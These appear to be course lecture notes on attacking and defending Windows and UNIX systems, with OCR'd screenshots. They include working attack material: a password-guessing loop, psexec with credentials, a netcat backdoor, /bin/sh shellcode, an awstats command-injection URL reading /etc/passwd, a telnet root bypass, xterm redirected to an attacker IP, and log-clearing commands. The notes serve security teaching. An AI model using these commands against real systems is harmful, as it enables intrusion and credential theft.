Novell NetWare Enumeration, TCP 524 and IPX
UNIX RPC Enumeration, TCP/UDP 111 and 32771

rwho (UDP 513) and rusers (RPC Program 100002)

NIS Enumeration, RPC Program 100004

SQL Resolution Service Enumeration, UDP 1434

NFS Enumeration, TCP/UDP 2049

Last modified 1-30-09
Reasons for Windows Security Problems

Popularity & Complexity

Backward Compatibility

· Very important at businesses

· Enabled by default

· Causes many security problems

Proliferation of features

Windows is Improving

Windows XP SP2 was a giant improvement in security

· Windows Firewall

· Data Execution Prevention

Vista is even more secure

· User Account Control

· BitLocker Drive Encryption

Unauthenticated Attacks

Four Vectors

Authentication Spoofing

Network Services

Client Vulnerabilities

Device Drivers

Authentication Spoofing Attacks

Services to Attack

Server Message Block (SMB)

· TCP ports 445 and 139

Microsoft Remote Procedure Call (MSRPC)

· TCP port 135

Terminal Services

· TCP port 3389

[image: image58.jpg]F:\Users\Sam\Desktop>nbtscan-1.0.33.exe -f 192.168.11.0/24

192.168.11.2 WORKGROUP\SAM2G SHARING
SAM2G <00> UNIQUE Workstation Service
WORKGROUP <00> GROUP Domain Name
SAM2G <20> UNIQUE File Server Service
WORKGROUP <1e> GROUP Browser Service Elections
00:30:48:82:11:bc  ETHER Sam2G.astound.net
192.168.11.3 WORKGROUP\SAMP4 SHARING
SAMPY <00> UNIQUE Workstation Service
WORKGROUP <00> GROUP Domain Name
SAMPY <20> UNIQUE File Server Service
WORKGROUP <1e> GROUP Browser Service Elections
WORKGROUP <1d> UNIQUE Master Browser

..__MSBROUSE__.<81> GROUP Master Brouser
90:10:b5:0e:5¢:8a ETHER SAMP4

192.168.11.28  WORKGROUP\S214-00 SHARING
$214-00 <00> UNIQUE Workstation Service
$214-00 <20> UNIQUE File Server Service
WORKGROUP <00> GROUP Domain Name
WORKGROUP <1e> GROUP Browser Service Elections

00:0¢:29:28:f6: 71 ETHER $214-00

xtimeout (normal end of scan)



SQL

· TCP 1443 and UDP 1434

SharePoint and other Web services

· [image: image59.jpg]F:\Users\Sam\Desktop>net view \\192.168.11.3
System error 5 has occurred.

Access is denied.

F:\Users\Sam\Desktop>net uiew \\192.168.11.29
System error 5 has occurred.

Access is denied.

F:\Users\Sam\Desktop>net use \\192.168.11.29\IPC$
The command completed successfully.

F :\Users\Sam\Desktop>net view \\192.168.11.29
Shared resources at \\192.168.11.29

Share name  Type Used as Comment

My Documents Disk
The command completed successfully.




TCP 80 and 443

Password Guessing from the Command Line 
Accounts may lock out after too many guesses

A Password Guessing Script 
Put password – user name pairs in a file named credentials.txt

Tools: enum, Brutus, TSGrinder, many more 

· Link Ch 4a1

[image: image60.jpg]




Password-Guessing Countermeasures 

Use a network firewall to restrict access to SMB services on TCP 139 and 445

Use host-resident features of Windows to restrict access to SMB

· IPSec filters (Restricts by source IP – link Ch4b)

· Windows Firewall

Disable SMB services (on TCP 139 and 445)

Enforce the use of strong passwords using policy

Set an account-lockout threshold and ensure that it applies to the built-in Administrator account

Enable audit account logon failures and regularly review Event Logs

Security Policy 
SECPOL.MSC at a Command Prompt

[image: image61.png]C:\WINDOWSsystem32\cmd. exe =]

\Documents and Settings\SamLinited\Desktop>uinfo 192.168.2.15 —n v

info 2.8 - copyright (c) 1999-2083, Arne Uidstrom
- http://uww.ntsecurity.ni/toolbox uinfo,

Mrying to establish null session...

Null session established.

YSTEM INFORMATION:
- 0§ version: 5.0
OMAIN INFORMATION:

- Prinary domain Clegacy>: UORKGROUP
Account domain: S214-17-SAMZ

Prinary domain: WORKGROUP

DNS name for primary domain:

Forest DNS name for primary domain:

PASSWORD POLICY:

- Tine hetween end of logon time and forced logoff: No Forced logoff
Maxinum passuord age: 42 days

Mininum passuord age: @ days

Password history length: 8 passwords

Mininun passuord length: B characters

LOCOUT POLICY:

- Lockout duration: 38 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: ©

ESSIONS :

- Gomputer: 192.168.2.222

LOGGED IN USERS:
* Adninistrator
SER ACCOUNTS :

* Adninistrator

Passuord age: 45 days
Privilege level: Administrator

Home directory:

Home directory mapped as:

Conment: Built—in account for administering the computer/domain
Account is: Enabled

User can change password: Yes

Account is locked out: No

Passuord never expires: Yes

The account is: Normal user

Logon script path:

Full name:

User comment:

Can log in from workstations: ALl

Last logon to this DC / computer: Fri Mar 02 21:23:49 2007
Last logon to this DC / computer: None

Account expires: Never

Max disk space: Unlimited

Failed logins in a row to this DC / computer: 8@

Path to user profile:

Password has expired: No

(This account is the built-in administrator account>
* Guest

- Passuord age: 8 days

- Privilege level: Guest





Audit Policy

Use a log analysis tool to check the logs 
For even better security, use Intrusion Detection/Intrusion Prevention software

[image: image62.jpg]& IP Browser 192.168.202.01255.25!
Eile MNodes Subnet Options View Help

8| ®|a|aa] al|A

5

192.168.202.1:

192.168.202.30: sH_HGR

192.168.202.32: SM_MGR
= 3 152 165.202_33: DELLITI

Community String: public
System MIB
Interfaces

&-E-@

S Accounts
€ Aawiniscracor
€ barzini
€ goatatner
€ cuest
€ lucca
€ uike

S Shares
w0 TEMR
=[] Binaries
Path: C:\Binaries
i Comment: Free goodies

Shared Printers

Hub ports

TCP/IP Networks

IPX Network

Routes

ARP Table

UDP Services

TCP Comnections
192.168.202.37: MICHAEL

SEEEEEEEE





Eavesdropping on Network Password Exchange 

You can sniff password challenge-response hashes with Cain

[image: image63.jpg]omarsoft DumpSec (formerly DumpAd) - \\192.168.11.29 &

File Edit Search Report View Help

UserName
trator
Groups Administrators (Local, Administrators have complete and
AccountType User

PsudCanBeChanged Yes
PsudLastSetTime 1/16/2007 2:49 PM
PsudRequired Yes

PsudExpires No
PsudExpiresTime Never
LastLogonTime  2/1/2008 4:50 PH
LastLogonServer 192.168.11.29

Guest
Groups Guests (Local, Guests have the same access as members of
AccountType User

PswdCanBeChanged No
PswdLastSetTime Never

PsudRequired No
PsudExpires No
PsudExpiresTime ?Unknown
LastLogonTime  Never

LastLogonServer 192.168.11.29




Use NTLM, not LM

The old LM Hashes are easily cracked

The newer NTLM hashes are harder to crack, although they can be broken by dictionary attacks

Elcomsoft has a new tool that cracks NTLM hashes by brute force, clustering many computers together

· See link Ch 4f
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Man In The Middle Attacks 
SMBRelay and SMBProxy pass authentication hashes along get authenticated access to the server, on Windows versions before XP

MITM Attack on Terminal Server 
[image: image65.jpg]Command Prompt

F:\Users\Sam>net use \\192.168.11.3\IPC$ /u:administrator
The password or user name is invalid for \\192.168.11.3\IPC$.

Enter the password for ‘administrator’ to connect to '192.168.11.3":
The command completed successfully.



Cain can sniff Remote Desktop sessions unencrypted and get administrative credentials

· For Windows XP and Windows Server 2003

· Because Microsoft made a private key public (link Ch 4f1)

Microsoft Remote Procedure Call (MSRPC) vulnerabilities 

The MSRPC port mapper is advertised on TCP and UDP 135 by Windows systems

· It cannot be disabled without drastically affecting the core functionality of the operating system

MSRPC interfaces are also available via other ports, including TCP/UDP 139, 445 or 593, and can also be configured to listen over a custom HTTP port via IIS or COM Internet Services 

MITM Countermeasures 

Attacker usually has to be on your LAN

Use authenticated and encrypted protocols 

Enforce them with Group Policy and firewall rules

Remote Unauthenticated Exploits

[image: image66.jpg][file: credentials.txt]

password username
Administrator
password Administrator
admin Administrator
administrator Administrator
secret Administrator

etc.



Metasploit 
Easily exploits network services

Typically a couple of months behind Microsoft alerts

CORE IMPACT and Canvas are expensive, but better (Link Ch 4f2)

Network Service Exploit Countermeasures 

Apply patches quickly

Use workarounds for unpatched vulnerabilities

Log and monitor traffic

Have an incident response plan

End-user Application Exploits

Often the weakest link, especially on Vista, because the OS itself is more secure

Countermeasures

· Use a firewall to limit outbound connections

· Patches

· Antivirus

· Run with least privilege

· Use software security options, such as plaintext email and IE Security Zones

Device Driver Exploits 
[image: image67.jpg]Now we can feed this file to our FOR command, like so:
C:\>FOR /F "tokens=1,2*" %i in (credentials.txt) do net use \\target\IPC$ %i /u:%j



There are buffer overflows in wireless device drivers

It is possible to 0wn every vulnerable machine in range just with a beacon frame--no connection required

· Link Ch 4z18

Driver Exploit Countermeasures

Apply vendor patches

Disable wireless networking in high-risk environments

Using Microsoft Logo-tested drivers MIGHT make you safer…

· But does Microsoft really thoroughly test drivers, with fuzzers?

· Fuzzing for 5 seconds was enough for Cache et al. to find a vulnerability
Authenticated Attacks

Privilege Escalation 

Once a user can log on to a Windows machine as a Guest or Limited User, the next goal is to escalate privileges to Administrator or SYSTEM

· Getadmin was an early exploit (link Ch 4r)

· There have been many others, including a buffer overrun MS03-013 (link Ch 4s)

SYSTEM status 
The SYSTEM account is more powerful than the Administrator account

The Administrator can schedule tasks to be performed as SYSTEM
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It's more complicated in Vista, but still possible

Making a SYSTEM Task in Vista
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Start, Task Scheduler

Action, Create Task

Change User or Group, select SYSTEM

Fill in wizard, notepad.exe

You can see it in Task Manager, but it's not interactive (see link Ch 4t) 
Preventing Privilege Escalation 
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Keep machines patched

Restrict interactive logon to trusted accounts

· Start, secpol.msc

· Deny log on locally

Extracting and Cracking Passwords

Once Administrator-equivalent status has been obtained on one machine

Attackers often want to penetrate deeper into the network, so they want passwords

Grabbing the Password Hashes 

Stored in in the Windows Security Accounts Manager (SAM) under NT4 and earlier, and

In the Active Directory on Windows 2000 and greater domain controllers (DCs) 

The SAM contains the usernames and hashed passwords of all users 

· The counterpart of the /etc/passwd file from the UNIX world 
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Obtaining the Hashes 

NT4 and earlier stores password hashes in %systemroot%\system32\config\SAM

· It's locked as long as the OS is running

· It's also in the Registry key HKEY_LOCAL_MACHINE\ SAM 

On Windows 2000 and greater domain controllers, password hashes are kept in the Active Directory

· %windir%\WindowsDS\ntds.dit

[image: image72.jpg]Security Advisory

Remote Desktop Protocol, the Good the Bad and the Ugly

Author: Massimiliano Montoro <mao@oxid.it>

Issue date: May, 28, 2005



How to Get the Hashes

Easy way: Just use Cain 
Cracker tab, right-click, "Add to List"

How Cain Works

Injects a DLL into a highly privileged process in a running system

That's how pwdump, Cain, and Ophcrack do it

· Link Ch 4x

Other Ways to Get the Hashes

Boot the target system to an alternate OS and copy the files to removable media

Copy the backup of the SAM file created by the Repair Disk Utility

· But this file is protected by SYSKEY encryption, which makes it harder to crack (perhaps impossible)

Links Ch 4u, 4v, 4w

Sniff Windows authentication exchanges

pwdump2 Countermeasures 

There is no defense against pwdump2, 3, 4, Cain, Ophcrack, etc.

But the attacker needs local Administrative rights to use them

Cracking Passwords 

The hash is supposed to be really difficult to reverse

· NTLM hashes are really hard to break

· But Windows XP and earlier still use LM Hashes for backwards compatibility

· They are turned off by default in Vista

No Salt!

To make hashing stronger, add a random "Salt" to a password before hashing it

Windows doesn't salt its hash!

Two accounts with the same password hash to the same result, even in Windows 7 Beta!

This makes it possible to speed up password cracking with precomputed Rainbow Tables

Demonstration

Here are two accounts on a Windows 7 Beta machine with the password 'password'
[image: image5.jpg]UserName | LMPas.. [ <8 [ NTPas.. [ LMHash [ NTHash

XTetuer  tempy - AAD3B43... SB4GFTEAEEBFEL17ADOGBDDE30BTSE6C
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This hash is from a different Windows 7 Beta machine
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Linux Salts its Hashes
[image: image7.png]student@student-desktop:~$ sudo useradd -d /home/testuserl -m testuserl
[sudo] password for student:

student@student-desktop:~$ sudo passwd testuserl

Enter new UNIX password:
Retype new UNIX password:

passud: password updated successfully

student@student-desktop:~$ sudo useradd -d /home/testuser2 -m testuser2
student@student-desktop:~$ sudo passwd testuser2

Enter new UNIX passwort
Retype new UNIX password:

passud: password updated successfully
student@student-desktop:~$ sudo tail -2 /etc/shadow
testuserl: S1SZWINMALVSKXS/VAKPX3HFU nf2FV301: 14132
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Brute Force v. Dictionary

There are two techniques for cracking passwords

· Brute Force

· Tries all possible combinations of characters

· Dictionary

· Tries all the words in a word list, such as able, baker, cow…

· May try variations such as ABLE, Able, @bl3, etc.

Password-Cracking Countermeasures 

Strong passwords – not dictionary words, long, complex

Add non-printable ASCII characters like (NUM LOCK) ALT255 or (NUM LOCK) ALT-129 

Ways to Speed Cracks

Rainbow tables trade time for memory with precomputed hashes

Elcomsoft Distributed Password Recovery

· Uses many machines together, and their graphics cards, to make cracking 100x faster

· Link Ch 4f

Dumping Cached Passwords 

Local Security Authority (LSA) Secrets 

· Contains unencrypted logon credentials for external systems

· Available under the Registry subkey of HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets

· Encrypted when the machine is off, but decrypted and retained in memory after login 

Contents of LSA Secrets

Service account passwords in plaintext. 

· Accounts in external domains

Cached password hashes of the last ten users to log on to a machine

FTP and web-user plaintext passwords 

Remote Access Services (RAS) dial-up account names and passwords

Computer account passwords for domain access

Scary Demo

Boot Win XP, log in with your usual Admin acct

Change your password

Use Cain to dump the LSA Secrets – your password is just right there in the DefaultPassword

Log in as a different Administrator user

The LSA Secrets show your other account's password!

· Link Ch 4z01
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Win XP Password in LSA Secrets 
LSA Secrets Countermeasures 

There's not much you can do—Microsoft offers a patch but it doesn't help much

· Microsoft KB Article ID Q184017 (link Ch 4z02)

Vista seems far less vulnerable

Local Admin rights can lead to compromise of other accounts that machine has logged in to

Previous Logon Cache Dump 

If a domain member cannot reach the domain controller, it performs an offline logon with cached credentials

The last ten domain logons are stored in the cache, in an encrypted and hashes form

The tool CacheDump can reverse the encryption and get the hashed passwords

· Download it at link Ch 4z03

· More info at links Ch 4z04, 4z05

[image: image74.jpg]INFORMATIVE INFORMATION FOR THE UNINFORMED

UNINFORMED

CURRENT [V9 [ V8 [V7 [V6 [ V5[ V4 [V3[v2 V1 [ALL [ABOUT | VOL 6» 2007 JAN

Next: Contents ~ Contents

Exploiting 802.11 Wireless Driver
Vulnerabilities on Windows

Nov, 2006
Johnny Cache johnycsh@802.11mercenary.net
H D Moore hdm@metasploit.com
skape mmiller@hick.org



[image: image75.jpg]Administrator: Command Prompt k=
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CacheDump Results 

John the Ripper can crack these hashes with brute-force and dictionary attacks

· Another cracking tool is cachebf (link Ch z06) 
Previous Logon Cache Dump Countermeasures 

You need Administrator or SYSTEM privileges to get the hashes

You can also adjust the Registry to eliminate the cached credentials

· But then users won't be able to log in when a when a domain controller is not accessible 

Remote Control and Back Doors 

Command-line Remote Control Tools 

Netcat for Windows

· [image: image76.jpg]Eile Options View Help
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Download it at link Ch 3d 
· Use this syntax to listen on port 8080, and execute cmd
· Add –d for stealth mode (no interactive console)

· Obviously this is very dangerous—remote control with no logon

Connecting to the nc Listener

On another machine connect with 

· TELNET IP 8080
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You get a shell on the other machine

· Works on Vista

PsExec

From SysInternals (now part of Microsoft)

Allows remote code execution (with a username and password)

· Link Ch 4z07
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Graphical Remote Control 
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The Windows Built-in Terminal Services (aka Remote Desktop) listens on port 3389

· It's not on by default

VNC is free and very commonly used for graphic remote control

· Can easily be installed remotely

· Link Ch 4z08

VNC as used in MetaSploit 
Remote Access Tools

TeamViewer (link Ch 4z19)

· My favorite, easy to use, free & safe

Poison Ivy (link Ch 4z09)

GoToMyPC (link Ch 4z10)
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LogMeIn Hamachi (link Ch 4z11)

Port Redirection 

Fpipe is a port redirection tool from Foundstone 
· Link Ch 4z12
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Covering Tracks

Once intruders have Administrator or SYSTEM-equivalent privileges, they will:

· Hide evidence of intrusion

· Install backdoors

· Stash a toolkit to use for regaining control in the future and to use against other systems

Disabling Auditing 

The auditpol /disable command will stop auditing

Auditpol /enable will turn it back on again

· Auditpol is included in Vista

· Part of the Resource Kit for earlier versions (XP, NT, 2000 Server)

Clearing the Event Log 

ELsave – command-line log clearing tool

· Written for Windows NT

· Link Ch 4z15

Hiding Files

Attrib +h filename

· Sets the Hidden bit, which hides files somewhat

Alternate Data Streams

· Hide a file within a file

· A NT feature designed for compatibility with Macintosh

Demonstration of ADS 
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F:\Users\Sam>echo "haha” > original.txt

F:\Users\Sam>echo "12345678901234567890" > original.txt:more.txt
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ADS With Binary Files

You need the cp command (supposedly in the Resource Kit, although I can't find it available free online)

To detect alternate data streams, use LADS (link Ch 4z16)

Rootkits

Rootkits are the best way to hide files, accounts, backdoors, network connections, etc. on a machine

More on rootkits in a later chapter

General Countermeasures to Authenticated Compromise

Once a system has been compromised with administrator privileges, you should just reinstall it completely

· You can never be sure you really found and removed all the backdoors

But if you want to clean it, here are techniques:

Suspicious Files

Known dangerous filenames like nc.exe

Run antivirus software

Use Tripwire or other tools that identify changes to system files (Link Ch 4z13)
Suspicious Registry Entries

Look for registry keys that start known backdoors like"

· HKEY_USERS\.DEFAULT\Software\
ORL\WINVNC3 

· HKEY_LOCAL_MACHINE\SOFTWARE\
Net Solutions\NetBus Server 

A Back-Door Favorite: Autostart Extensibility Points (ASEPs) 
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Ways to Make a Program Run at Startup in Vista

Registry keys

· Run or RunOnce or Policies\Explorer\Run

· Load value

· RunServices or RunServicesOnce

· Winlogon or BootExecute

Scheduled Tasks

Win.ini

Group Policy

Shell service objects

Logon scripts

Suspicious Processes 
Process Explorer

Link Ch 4z14

Suspicious Ports

Use netstat -aon to view network connections
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Software Explorer

Part of Windows Defender in Vista
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Windows Security Features 
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Windows Firewall

Automated Updates 

Security Center (Action Center in Windows 7 Beta)

Group Policy

· Allows customized security settings in domains

[image: image86.jpg]C:\>psexec \\10.1.1.1 -u Administrator -p password -s cmd.exe



Encryption: BitLocker and EFS

EFS encrypts folders

BitLocker encrypts the whole hard drive

· In Windows 7 Beta, BitLocker can encrypt removable USB devices

Video: Hacking BitLocker 
Least Privilege

Most Windows users use an Administrative accout all the time

· Very poor for security, but convenient

· For XP, 2003, and earlier: log on as a limited user, use runas to elevate privileges as needed

· For Vista and later versions, this process is automated by User Account Control

Last modified 2-5-09

Vulnerability Mapping

Listing aspects of the target system and associated vulnerabilities

· Online vulnerabilities like Bugtraq, CVE, security alerts, etc.

· Use specialized exploit code to test specific vulnerabilities

· Automated vulnerability scanners like Nessus

CORE IMPACT Demo 
Link Ch 500

Remote Access vs. Local Access 

Attackers follow a logical progression:

First Remote Access

· Typically exploiting a vulnerability in a listening service

Then gaining local shell access 

· Local attacks are also called Privilege Escalation Attacks
Remote Access

Four primary methods

· Exploiting a listening service

· Routing through a UNIX system that is providing security between two or more networks

· User-initiated remote execution attacks (via a hostile website, Trojan horse e-mail, etc.)

· Exploiting a process or program that has placed the network interface card into promiscuous mode

Exploit a listening service 

Services that allow interactive logins can obviously be exploited

· telnet, ftp, rlogin, ssh, and others

BIND is the most popular DNS server, and it has had many vulnerabilities

If a service is not listening, it cannot be broken into remotely

Sniffing Attacks

What is your sniffing software (tcpdump or some other) itself has vulnerabilities?

An attacker could inject code to attack the sniffer

Brute-force Attacks 

Just guessing user IDs and passwords can get you into

· telnet

· File Transfer Protocol (FTP)

· The "r" commands (rlogin, rsh, and so on)

· Secure Shell (ssh)

· SNMP community names

· Post Office Protocol (POP) and Internet Message Access Protocol (IMAP)

· Hypertext Transport Protocol (HTTP/HTTPS)

· And many others

The Joe Account

Collect user IDs with enumeration

Find an account with an identical user name and password

· Those are called "Joe" accounts

Brute-force attack tool:

· THC Hydra (link 501a)

Brute-force Attack Countermeasures

Enforce strong passwords

cracklib

· Enforces strong passwords by comparing user selected passwords to words in chosen word lists (link Ch 501) 

npasswd

· A replacement for the passwd command 

Secure Remote Password

· A new mechanism for performing secure password-based authentication and key exchange over any type of network (links Ch 502-503)

OpenSSH

· A telnet/ftp/rsh/login communication replacement with encryption and RSA authentication

Buffer Overflow Attacks 

Can escalate privileges, or cause denial of service

· Example: Send 1000 characters to the VERIFY command of sendmail

· Include this shellcode, or egg:

· char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

See the book "Gray Hat Hacking"

Buffer Overflow: Project 11

We run a vulnerable application through the debugger

Registers appear at the top

· eip is Extended Instruction Pointer --the next instruction to be processed

· Compare to assembly code at bottom

Debugger Showing an Application Running Normally
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Controlled Buffer Overflow

By injecting just the right string, we can fill the buffer with A characters (hex 41), then 4 B's (hex 42), and finally 4 C's (hex 43) which precisely hit the eip

This shows control of the overflow

The next step would be to inject an egg and gain remote control (we won't go that far in project 11)

Controlled Buffer Overflow Overwrites the eip
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Buffer Overflow Attack Countermeasures 

Secure Coding Practices 

· Secure program design

· Use Stack Smashing Protector in gcc

· Validate arguments when received from a user or program 

· Use more secure routines, such as fgets(), strncpy(), and strncat()

· Reduce the amount of code that runs with root privileges 

· Above all, apply all relevant vendor security patches 

Test and Audit Each Program 

· OpenBSD does this thoroughly

Disable Unused or Dangerous Services 

· TCP Wrappers allows access controls on a per-service basis

· Packet filtering with ipchains (link Ch 504)

Disable Stack Execution 

· The GRSecurity patch provides this for Linux, and many other features (link Ch 505)

· Stack execution is disabled by default in Solaris (link Ch 506)

Format String Attacks

This statement prints the variable buf as a string

· printf("%s", buf) 

But some programmers omit the format string

· printf(buf)

A user could add format strings to the variable, gaining read/write access to memory locations

This is as dangerous as a buffer overflow

Format String Attack Countermeasures 

FormatGuard for Linux changes the printf library to prevent format string attacks

Secure programming and code audits

Input Validation Attacks 

Solaris 10 in 2007 had a vulnerability in telnet

· telnet -l "-froot" 192.168.1.101

Would grant root access on the server with no password required

· Link Ch 513
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These attacks work when user-supplied data is not tested and cleaned before execution

Black list validation tries to exclude known malicious input

· Not recommended

White list validation allows only known good input

· Recommended

Integer Overflow and Integer Sign Attacks 

An integer variable can only handle values up to a maximum size, such as 32,767 

If you input a larger number, like 60,000, the computer misinterprets it as a different number like -5536

Vulnerable programs can be tricked into accepting large amounts of data, bypassing the data validation

That can allow a buffer overflow

Integer Overflow Attack Countermeasures

The same as buffer overflows: secure programming practices

I Want My Shell

Remote Command Execution

After the attacker finds a vulnerability on a machine with a listening process

· Such as a Web server

Commands can be executed on that box, with a URL like this

· http://targetIP/awstats/awstats.pl?configdir=|echo%20;echo%20;cat%20;/etc/passwd;echo%20;echo

· This executes cat /etc/passwd

[image: image90.jpg]rer - Sysinterals: www.sysinternals.com [GAM2G\Gam] T —
= Process Explorer - Sysinternals: www.sysinternals.com \Sam]

File Options View Process Find Handle Users Help

CIEEE FERTY eerese mememm pmEnEnEnEE
Process PID CPU Description Company Name
B System Idle Process 0 9043
Interupts nfa 153 Hardware Interrupts
DPCs n/a 460 Defered Procedure Calls
B System
smss.exe
csrss.exe
i
services.exe 153
svchostexe
WmiPvSEexe | 3712
unsecappexe | 896 Sinkto receive asynchronous callbacks for WM. Microsoft Corporation
svchostexe 816
svchostexe 856
=] Aizewcexe 924
Ai2evicexe | 1264
[=]  svchostexe 976
audiodgexe L1116
Senvices
[Z]  svehostexe DHCP Client [Dhep]
dwmexe Security Center [wscsve] nager Microsoft Corporation
) s | SRS rone
taskengexe | Windows EventLog [Eventlog]
taskengexe | 3416 Task Scheduler Engine Microsoft Corporation
Ssveexe 1152
svchostexe 1180

svchostexe 1400




DMZ 
Image from Ciampa's Security+ text

[image: image91.jpg]A4 software Explorer

View or manage important security-related areas of the computer. Using Software Explorer

Category: |Network Connected Programs

Name
Microsoft Corporation
Microsoft Host Process for Windows Services : 1044

1180

Microsoft Host Process for Windows Services

Microsoft Host Process for Windows Services : 816
Microsoft Host Process for Windows Services : 976

Microsoft Local Security Authority Process : 608
Microsoft Services and Controller app : 596
i Microsoft Windows Start-Up Application : 504
£ Windows Defender : 3628
VMware, Inc.
8| VMware Workstation : 1160
Elcomsoft Co. Ltd.
& Elcomsoft Distributed Password Recovery : 3840

© v VYTV UVO D

1 Microsoft Host Process for Windows Services
1

File Name: svchostexe

Display Name: Microsoft Host Process for Windows Services
Description: Host Process for Windows Services
Publisher: Microsoft Corporation

Digitally Signed By: Microsoft Windows Verification PCA
File Type: Application

Auto Start: No

File Path: F\Windows\system32\svchostexe

File Size: 22016

File Version: 6.0.6000,16386 (vista_rtm.061101-2205)
Date Installed: 11/1/2006 4:35:16 PM

Process ID: 1400

User Name: NT AUTHORITY\NETWORK SERVICE

Classification: Permitted
Ships with Operating System: Yes
SpyNet Voting: Not applicable

Services: Cryptographic Services, DNS Client, KtmRm for Distributed Transaction Coor

Protocol Local Address Foreign Address State
upP 00.0.0:5355 e

Protocol Local Address Foreign Address
UDP [:1:5355 o



Reverse telnet and Back Channels

The effect of this is to use telnet to grant control of the machine to another machine

This is the opposite of the usual use of telnet, so it's called "reverse telnet" and a "back channel"

Back-Channel Countermeasures

Prevent attackers from getting root in the first place

Remove X from high-security systems

Run web server as "nobody" and deny "nobody" execute permission for telnet 

· chmod 750 telnet 

Some firewalls may let you block connections from the Web server or internal systems

Common Types of Remote Attacks 

FTP

sendmail

Remote Procedure Call Services

SNMP Buffer Overclow

NFS

X Insecurities
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DNS

SSH

OpenSSL

Apache

Promiscuous-Mode Attacks

FTP 

Unfortunately, still widely used to upload and download files

Widely used by pirates to store illegal files (see link Ch 511)
FTP servers sometimes allow anonymous users to upload files

May allow directory traversal

FTP servers also have buffer overflow and other vulnerabilities

· Example: "site exec" format string vulnerability in wu-ftp allows arbitrary code execution as root

FTP Countermeasures 

Avoid FTP if possible

Patch the FTP server 

Eliminate or reduce the number of world-writable directories in use 

sendmail 

sendmail is a mail transfer agent (MTA) that is used on many UNIX systems 

It has a long history of many vulnerabilities

sendmail Countermeasures 

Disable sendmail if you are not using it

Use the latest version with all patches

Additional utilities can improve its security

Consider using a more secure MTA such as qmail or postfix 

Remote Procedure Call Services 

Unfortunately, numerous stock versions of UNIX have many RPC services enabled upon bootup

Many of the RPC services are extremely complex and run with root privileges, including rpc.ttdbserverd and rpc.cmsd 

They can be exploited to gain remote root shells 

Remote Procedure Call Services Countermeasures 

Disable any RPC service that is not absolutely necessary 

Consider implementing an access control device that only allows authorized systems to contact RPC ports (difficult)

Enable a nonexecutable stack 

Use Secure RPC if possible

· Preovides an additional level of authentication based on public-key cryptography, but causes interoperability problems

SNMP Buffer Overflow 

Simple Network Management Protocol (SNMP) is widely used to remotely manage devices (routers, switches, servers, and so on) 

It's not very secure in the first place

It's had buffer overflow vulnerabilities

Exploits can allow DoS or remote command execution

SNMP Buffer Overflow Countermeasures 

Use SNScan from Foundstone to find devices with SNMP enabled

Disable SNMP on any device that does not explicitly require it

Apply all patches & update firmware

Change the default public and private community strings

Use network filtering to limit access to management stations 

NFS 

Network File System (NFS) allows transparent access to files and directories of remote systems as if they were stored locally 

Many buffer overflow conditions related to mountd, the NFS server, have been discovered

Poorly configured NFS exports the file system to everyone 

Using rpcinfo to Find NFS
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By querying the portmapper, we can see that mountd and the NFS server are running 

showmount

showmount indicates that the root / and /usr are exported to everyone
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A huge security risk, but often done by lazy administrators

· Exploiting NFS systems is made easier with the nfsshell tool (link Ch 512)

NFS Countermeasures 

Disable NFS if it's not needed

Implement client and user access controls to allow only authorized users to access required files

Only export certain directories, like /etc/exports or /etc/dfs/dfstab 

Never include the server's local IP address, or localhost, in the list of systems allowed to mount the file system 

· That allows an attack which bypasses access control, like XSS

X Insecurities 

The X Window System allows many programs to share a single graphical display 

X clients can 

· Capture the keystrokes of the console user

· Kill windows

· Capture windows for display elsewhere

· Remap the keyboard to issue nefarious commands no matter what the user types 

X Demonstration

Use two Ubuntu VMs

On each:

· 1. Click System->Administration->Login Window  (it is slow)

· 2. Under the security tab uncheck "Deny TCP connections to Xserver"

· 3. Log out and log in again
Steps for Demo

On attacker machine:

· 
xhost +
· Allows any IP to open a session on the attacker's X server

On target machine:

· 
xterm –display 192.168.1.81:0
· 

Replace 192.168.1.81 with attacker's IP

· This opens a terminal on the attacker's system

On attacker machine:  
xhost -
will stop the connection
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xhost

The simplest and most popular form of X access control is xhost authentication 

· xhost 192.168.11.3

Allows just that one host to connect

· xhost +

Allows all IP addresses to connect

X snooping tools

xscan is a tool that can scan an entire subnet looking for an open X server and log all keystrokes to a log file 

xwatchwin even lets you see the windows users have open

Attackers can also send keystrokes to any window

X Countermeasures

Resist the temptation to issue the xhost + command 

Other security measures include using more advanced authentication mechanisms such as MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1, and MIT-KERBEROS-5 

Consider using ssh and its tunneling functionality for enhanced security during your X sessions 

Domain Name System (DNS) Hijinks 

DNS is one of the few services that is almost always required and running on an organization's Internet perimeter network 

The most common implementation of DNS for UNIX is the Berkeley Internet Name Domain (BIND) package 

BIND vulnerabilities
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Buffer overflows in BIND can be exploited by malformed responses to DNS queries

That gives attackers some degree of remote control over the server, although not a true shell

DNS Cache Poisoning 
In 2008, Dan Kaminsky revealed a serious DNS cache poisoning vulnerability

· He was able to change DNS records on real Internet routers with it

· It was patched secretly before the bug was revealed

Link Ch 514

DNS Countermeasures 

Disable BIND if you aren't using it

Patch & update BIND

Run the BIND daemon "named" as an unprivileged user

Run BIND from a chroot jail

· Prevents an attacker from traversing your system

Use djbdns, a secure, fast, and reliable replacement for BIND 

SSH Insecurities 

SSH is widely used as a secure alternative to telnet

But there are integer overflows and other problems in some SSH packages which can be exploited, granting remote root access

SSH Countermeasures 

Run patched versions of the SSH client and server

Consider using the privilege separation feature, which creates a non-privileged environment for the sshd to run in (a chroot jail)

OpenSSL Overflow Attacks 

OpenSSL is an open-source implementation of Secure Socket Layer (SSL) and is present in many versions of UNIX 

It had a famous buffer overflow vulnerability that was exploited by the Slapper worm

OpenSSL Countermeasures 

Apply the appropriate patches and upgrade to OpenSSL 

Disable SSLv2 if it is not needed 
Apache Attacks 

Apache is the most prevalent web server on the planet

In earlier versions, a serious vulnerability occurred in the way Apache handled invalid requests that were chunk-encoded

· Chunk encoding sends an HTTP message in a series of chunks

· This attack gave the attacker unprivileged access to the server

Apache Countermeasures 

Use latest version & apply patches

Promiscuous-Mode Attacks 

Network-sniffing programs such as tcpdump, Snort, and snoop allow system and network administrators to view the traffic that passes across their network 

Intrusion detection systems are based on sniffing

But sniffers usually run as root

